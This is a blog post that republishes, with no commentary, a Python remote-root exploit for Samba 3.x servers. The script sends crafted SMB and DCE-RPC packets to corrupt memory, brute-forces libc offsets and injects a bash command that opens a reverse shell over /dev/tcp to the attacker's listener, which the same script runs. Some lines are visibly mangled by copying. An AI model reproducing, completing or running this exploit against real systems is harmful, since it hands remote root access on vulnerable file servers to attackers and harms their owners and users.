SAMBA 0DAY Exploit - Projeto TI
Headlines News :

.

Home » » SAMBA 0DAY Exploit

SAMBA 0DAY Exploit

Written By x86_g on 2012-09-25 | 4:22 AM


    1. #!/usr/bin/python
    2. #
    3. # finding targets 4 31337z:
    4. # gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
    5. #    -> to get system_libc_addr, enter this value in the 'system_libc_offset' value of the target_finder, run, sit back, wait for shell
    6. # found by eax samba 0day godz (loljk)
    7. from binascii import hexlify, unhexlify
    8. import socket
    9. import threading
    10. import SocketServer
    11. import sys
    12. import os
    13. import time
    14. import struct      
    15. targets = [
    16.         {
    17.                 "name"               : "samba_3.6.3-debian6",
    18.                 "chunk_offset"       : 0x9148,
    19.                 "system_libc_offset" : 0xb6d003c0
    20.         },
    21.         {
    22.                 "name"               : "samba_3.5.11~dfsg-1ubuntu2.1_i386 (oneiric)",
    23.                 "chunk_offset"       : 4560,
    24.                 "system_libc_offset" : 0xb20
    25.         },
    26.         {
    27.                 "name"               : "target_finder (hardcode correct system addr)",
    28.                 "chunk_offset"       : 0,
    29.                 "system_libc_offset" : 0xb6d1a3c0,
    30.                 "finder"True
    31.         }
    32. ]
    33. do_brute = True
    34. rs = 1024
    35. FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])
    36. def dump(src, length=32):
    37.         result=[]
    38.         for i in xrange(0, len(src), length):
    39.                 s = src[i:i+length]
    40.                 hexa = ' '.join(["%02x"%ord(x) for x in s])
    41.                 printable = s.translate(FILTER)
    42.                 result.append("%04x   %-*s   %s\n" % (i, length*3, hexa, printable))
    43.         return ''.join(result)
    44. sploitshake = [
    45.         # HELLO
    46.         "8100004420434b4644454e4543464445" + \
    47.         "46464346474546464343414341434143" + \
    48.         "41434143410020454745424644464545" + \
    49.         "43455046494341434143414341434143" + \
    50.         "4143414341414100",
    51.         # NTLM_NEGOT
    52.         "0000002fff534d427200000000000000" + \
    53.         "00000000000000000000000000001d14" + \
    54.         "00000000000c00024e54204c4d20302e" + \
    55.         "313200",
    56.         # SESSION_SETUP
    57.         "0000004bff534d427300000000080000" + \
    58.         "000000000000000000000000ffff1d14" + \
    59.         "000000000dff000000ffff02001d1499" + \
    60.         "1f00000000000000000000010000000e" + \
    61.         "000000706f736978007079736d6200",
    62.         # TREE_CONNECT
    63.         "00000044ff534d427500000000080000" + \
    64.         "000000000000000000000000ffff1d14" + \
    65.         "6400000004ff00000000000100190000" + \
    66.         "5c5c2a534d425345525645525c495043" + \
    67.         "24003f3f3f3f3f00",
    68.         # NT_CREATE
    69.         "00000059ff534d42a200000000180100" + \
    70.         "00000000000000000000000001001d14" + \
    71.         "6400000018ff00000000050016000000" + \
    72.         "000000009f0102000000000000000000" + \
    73.         "00000000030000000100000040000000" + \
    74.         "020000000306005c73616d7200"
    75. ]
    76. pwnsauce = {
    77.         'smb_bind': \
    78.                 "00000092ff534d422500000000000100" + \
    79.                 "00000000000000000000000001001d14" + \
    80.                 "6400000010000048000004e0ff000000" + \
    81.                 "0000000000000000004a0048004a0002" + \
    82.                 "002600babe4f005c504950455c000500" + \
    83.                 "0b03100000004800000001000000b810" + \
    84.                 "b8100000000001000000000001007857" + \
    85.                 "34123412cdabef000123456789ab0000" + \
    86.                 "0000045d888aeb1cc9119fe808002b10" + \
    87.                 "486002000000",
    88.         'data_chunk': \
    89.                 "000010efff534d422f00000000180000" + \
    90.                 "00000000000000000000000001001d14" + \
    91.                 "640000000eff000000babe00000000ff" + \
    92.                 "0000000800b0100000b0103f00000000" + \
    93.                 "00b0100500000110000000b010000001" + \
    94.                 "0000009810000000000800",
    95.         'final_chunk': \
    96.                 "000009a3ff534d422f00000000180000" + \
    97.                 "00000000000000000000000001001d14" + \
    98.                 "640000000eff000000babe00000000ff" + \
    99.                 "00000008006409000064093f00000000" + \
    100.                 "00640905000002100000006409000001" + \
    101.                 "0000004c09000000000800"
    102. }
    103. def exploit(host, port, cbhost, cbport, target):
    104.         global sploitshake, pwnsauce
    105.         chunk_size = 4248
    106.         target_tcp = (host, port)
    107.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    108.         s.connect(target_tcp)
    109.         n = 0
    110.         for pkt in sploitshake:
    111.                 s.send(unhexlify(pkt))
    112.                 pkt_res = s.recv(rs)
    113.                 n = n+1
    114.         fid = hexlify(pkt_res[0x2a] + pkt_res[0x2b])
    115.         s.send(unhexlify(pwnsauce['smb_bind'].replace("babe", fid)))
    116.         pkt_res = s.recv(rs)
    117.         buf = "X"*20  # policy handle
    118.         level = 2 #LSA_POLICY_INFO_AUDIT_EVENTS
    119.         buf+=struct.pack('<H',level) # level
    120.         buf+=struct.pack('<H',level)# level2
    121.         buf+=struct.pack('<L',1)#auditing_mode
    122.         buf+=struct.pack('<L',1)#ptr
    123.         buf+=struct.pack('<L',100000) # r->count
    124.         buf+=struct.pack('<L',20) # array_size
    125.         buf+=struct.pack('<L',0)
    126.         buf+=struct.pack('<L',100)
    127.         buf += ("A" * target['chunk_offset'])
    128.         buf+=struct.pack("I", 0);
    129.         buf+=struct.pack("I", target['system_libc_offset']);
    130.         buf+=struct.pack("I", 0);
    131.         buf+=struct.pack("I", target['system_libc_offset']);
    132.         buf+=struct.pack("I", 0xe8150c70);
    133.         buf+="AAAABBBB"
    134.         cmd = ";;;;/bin/bash -c '/bin/bash 0</dev/tcp/"+cbhost+"/"+cbport+" 1>&0 2>&0' &\x00"
    135.         tmp = cmd*(816/len(cmd))
    136.         tmp += "\x00"*(816-len(tmp))
    137.         buf+=tmp
    138.         buf+="A"*(37192-target['chunk_offset'])
    139.         buf+='z'*(100000 - (28000 + 10000))
    140.         buf_chunks = [buf[x:x+chunk_size] for x in xrange(0, len(buf), chunk_size)]
    141.         n=0
    142.         for chunk in buf_chunks:
    143.                 if len(chunk) != chunk_size:
    144.                         #print "LAST CHUNK #%d" % n
    145.                         bb = unhexlify(pwnsauce['final_chunk'].replace("babe", fid)) + chunk
    146.                         s.send(bb)
    147.                 else:
    148.                         #print "CHUNK #%d" % n
    149.                         bb = unhexlify(pwnsauce['data_chunk'].replace("babe", fid)) + chunk
    150.                         s.send(bb)
    151.                         retbuf = s.recv(rs)
    152.                 n=n+1
    153.         s.close()
    154. class connectback_shell(SocketServer.BaseRequestHandler):
    155.         def handle(self):
    156.                 global do_brute
    157.                 print "\n[!] connectback shell from %s" % self.client_address[0]
    158.                 do_brute = False
    159.                 s = self.request
    160.                 import termios, tty, select, os
    161.                 old_settings = termios.tcgetattr(0)
    162.                 try:
    163.                         tty.setcbreak(0)
    164.                         c = True
    165.                         while c:
    166.                                 for i in select.select([0, s.fileno()], [], [], 0)[0]:
    167.                                         c = os.read(i, 1024)
    168.                                         if c:
    169.                                                 if i == 0:
    170.                                                         os.write(1, c)
    171.                                                 os.write(s.fileno() if i == 0 else 1, c)
    172.                 except KeyboardInterruptpass
    173.                 finallytermios.tcsetattr(0, termios.TCSADRAIN, old_settings)
    174.                 return
    175.                
    176. class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    177.         pass
    178. if len(sys.argv) != 6:
    179.         print "\n  {*} samba 3.x remote root by kd(eax)@ireleaseyourohdayfuckyou {*}\n"
    180.         print "  usage: %s <targethost> <targetport> <myip> <myport> <target>\n" % (sys.argv[0])
    181.         print "  targets:"
    182.         i = 0
    183.         for target in targets:
    184.                 print "    %02d) %s" % (i, target['name'])
    185.                 i = i+1
    186.         print ""
    187.         sys.exit(-1)
    188. target = targets[int(sys.argv[5])]
    189. server = ThreadedTCPServer((sys.argv[3], int(sys.argv[4])), connectback_shell)
    190. server_thread = threading.Thread(target=server.serve_forever)
    191. server_thread.daemon = True
    192. server_thread.start()
    193. while do_brute == True:
    194.         sys.stdout.write("\r{+} TRYING EIP=\x1b[31m0x%08x\x1b[0m OFFSET=\x1b[32m0x%08x\x1b[0m" %(target['system_libc_offset'], target['chunk_offset']))
    195.         sys.stdout.flush()
    196.         exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], target)
    197.         if "finder" in target:
    198.                 target['chunk_offset'] += 4
    199.         else:
    200.                 target['system_libc_offset'] += 0x1000
    201. if "finder" in target:
    202.         print \
    203.                 "{!} found \x1b[32mNEW\x1b[0m target: chunk_offset = ~%d, " \
    204.                 "system_libc_offset = 0x%03x" % \
    205.                 (target['chunk_offset'], target['system_libc_offset'] & 0xff000fff)
    206. while 1:
    207.         time.sleep(999)
    208. server.shutdown()
Share this article :

0 comentários:

Postar um comentário